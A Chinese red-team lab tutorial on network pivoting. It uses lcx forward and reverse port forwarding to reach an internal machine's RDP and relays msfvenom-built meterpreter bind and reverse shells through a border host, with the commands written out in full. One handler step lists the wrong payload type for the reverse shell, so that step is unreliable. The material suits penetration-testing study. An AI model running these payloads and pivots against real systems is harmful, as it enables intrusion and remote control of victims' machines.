lcx端口转发
目录
0x01 正向端口转发
0x02 反向端口转发
0x03 msf正向shell
0x04 msf反向shell
注:
边界机器 win08 192.168.222.175
内网机器 win7 192.168.222.137
msf机器 Ubuntu 192.168.222.177
0x01 正向端口转发
在边界机器上执行端口转发命令,让来自指定端口的流量全部转发到内网指定IP指定端口上。
这里关闭了防火墙,在正常情况下请使用netsh来对端口进行开放,详细步骤可以参考以前的文章【使用netsh来进行端口转发】
这里我们将本地53端口的全部流量都转发到内网机器的3389端口,从而进行远程连接
lcx.exe -tran 53 192.168.222.137 3389
当然在执行完之后,我们再确定一下端口是否已经启用
然后我们在本地来进行远程连接
0x02 反向端口转发
如果我们只有当前目标的webshell,并没有边界主机可以利用的话,就可以通过反向端口转发来使内网流量都转发到自己的主机上。
注:这里我们用边界机器win08来代替我们的本地主机
首先在本地机器执行监听
lcx.exe -listen 53 1234
使用netstat -ano 确保端口已经启用
然后在目标机器(win7)上执行
lcx.exe -slave 192.168.222.175 53 127.0.0.1 3389
即将本地3389端口的流量都转发到win8机器的53端口上,如果有边界服务器可以利用的话,则在边界服务器执行该命令,将对应的IP和端口改变就可以了。
然后在本地(win8)远程连接即可
0x03 msf正向shell
使用lcx执行正向端口转发,去连接内网的meterpreter
首先先用msf生成一个马
msfvenom -p windows/x64/meterpreter/bind_tcp lport=53 -f exe >> 123.exe
然后去边界机器执行lcx的正向端口转发,将来自53端口的流量全部转发到内网的meterpreter上
lcx.exe -tran 53 192.168.222.137 53
然后去内网机器运行我们的马
再回到Ubuntu上,对其进行监听,监听边界机器的53端口即可
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 53
set rhost 192.168.222.175
run
0x04 msf反向shell
反向shell也是一样的道理
首先先生成我们的马,这里回连的IP和端口都是边界机器的
msfvenom -p windows/x64/meterpreter/reverse_tcp lport=53 lhost=192.168.222.175 -f exe >> 123.exe
然后到边界机器上执行监听
lcx.exe -listen 53 8888
到内网机器执行我们的马
回到Ubuntu上,对其进行监听
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lhost 192.168.222.175
set lport 8888
exploit -j
可见第一次并没有成功弹回session,这个使由于lcx的原因,多尝试两次就可以了
文章首发公众号:无心的梦呓(wuxinmengyi)
这是一个记录红队学习、信安笔记,个人成长的公众号
扫码关注即可
原文地址:https://www.cnblogs.com/wuxinmengyi/p/11598876.html
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- Linux下的IO监控与分析
- pytorch+Unet图像分割:将图片中的盐体找出来
- html 用浏览器打开中文乱码解决方法
- SQLServer 数据库字符集、版本号sql语句查询语法
- chrome 浏览器自保留端口、安全端口有哪些?chrome不能访问某个端口的环境网址,但是其它的浏览器可以访问原因及解决办法。
- MySql 数据库 - 重置数据库、重置初始密码方法,数据库初始化方法,长时间不用忘记密码暴力解决方法
- MobaXterm工具连接Linux服务器入门使用手册,国产化泰山服务器连接工具使用演示
- Linux 服务器配置信息查询方法,国产化申威服务器配置信息查看演示
- 达梦数据库、oracle数据库如何判断指定表有没有建立索引?对应的表有没有索引查询方法
- Linux服务器运行sh文件提示权限不够解决方法?飞腾服务器Permission denied问题授权方法
- 不支持图形化界面的Linux系统如何显示图像化界面?飞腾服务器显示图像化界面方法,DISPLAY environment variable is undefined问题解决方法
- 一分钟学Python| Python的函数(上)
- 数据分析与数据挖掘 - 07数据处理
- MySql8.0.19最新版本创建用户分配权限演示,You have an error in your SQL syntax权限分配问题解决方法
- linux服务器oracle数据库导出dmp文件功能演示,备份数据库命令。exp命令显示command not found解决方法,EXP-00028: 无法打开dmp进行写入问题解决